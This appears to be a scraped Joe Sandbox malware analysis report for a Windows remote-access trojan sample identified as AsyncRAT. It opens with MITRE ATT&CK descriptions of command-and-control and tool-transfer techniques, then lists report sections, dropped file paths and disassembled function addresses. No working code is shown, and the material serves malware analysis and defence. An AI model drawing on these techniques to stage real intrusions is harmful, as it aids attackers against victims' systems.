Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: AsyncRAT

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe

C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Windows Analysis Report
SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe

Function 00007FF6517916C0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 144
networkfileCOMMON

Function 00007FF6517913C0 Relevance: 9.2, APIs: 6, Instructions: 197
COMMON

Function 00007FF651792C60 Relevance: 16.6, APIs: 11, Instructions: 125
COMMON

Function 00007FF651791A00 Relevance: 13.6, APIs: 9, Instructions: 81
processCOMMON

Function 00007FF6517936D4 Relevance: 10.6, APIs: 7, Instructions: 94
COMMON

Function 00007FF651791000 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29
COMMON

Function 00007FF651791F00 Relevance: 3.1, APIs: 2, Instructions: 63
fileCOMMON

Function 00007FF651791B60 Relevance: 1.5, APIs: 1, Instructions: 31
COMMON

Function 00007FF651793D04 Relevance: 13.6, APIs: 9, Instructions: 71
COMMON

Function 00007FF651792120 Relevance: 10.7, APIs: 7, Instructions: 177
COMMON

Function 00007FF651792E60 Relevance: 10.6, APIs: 7, Instructions: 71
COMMON

Function 00007FF651792840 Relevance: 9.2, APIs: 6, Instructions: 153
COMMON

Function 00007FF6517930E0 Relevance: 9.1, APIs: 6, Instructions: 135
COMMON

Function 00007FF651792F70 Relevance: 6.1, APIs: 4, Instructions: 115
COMMON

Function 00007FF651792560 Relevance: 6.1, APIs: 4, Instructions: 110
COMMON

Function 00007FFD34770498 Relevance: 4.1, Strings: 3, Instructions: 371
COMMON

Function 00007FFD347704B8 Relevance: 4.1, Strings: 3, Instructions: 356
COMMON